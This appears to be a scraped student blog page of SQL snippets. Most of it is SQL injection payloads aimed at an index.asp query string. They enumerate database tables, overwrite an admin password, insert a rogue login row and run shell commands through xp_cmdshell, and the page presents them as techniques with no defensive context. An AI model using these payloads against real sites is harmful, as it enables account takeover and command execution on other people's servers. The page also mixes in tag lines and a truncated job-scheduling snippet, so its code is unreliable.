Student Academic blog

In this Example, i will tell you how to delete a duplicate rows from a table.

DELETE FROM [TABLE NAME] 
WHERE ID NOT IN (select MAX(ID) FROM [TABLE NAME] 
GROUP BY [DUPLICATE COLUMN NAME])

ALL, SQL Injection sql,

DECLARE @newDate varchar(15)
DECLARE @returnCode int
SET @newDate = Convert(varchar, GetDate()+1, 112) 

EXEC @returnCode = sp_update_jobschedule 
	@job_name = 'YOUR_JOB_NAME', ---Aamir Hasan
	@name = 'YOUR_JOB_NAME', --job name
	@active_start_date = @newDate,
	@active_start_time = '070000

SQL Injection

http://........................../index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

this will return all table information from sql server

ALL, SQL 2005 & 2008, SQL Injection

this will update the in the sql table from query string

http://................/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

this will insert into login table from query string

http://..../index.asp?id=10; INSERT INTO 'login' ('id', 'name', 'password', 'details') VALUES (666,'aamirhasan','studentacad.com','NA')--

ALL, SQL 2005 & 2008, SQL Injection

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

ALL, SQL 2005 & 2008, SQL Injection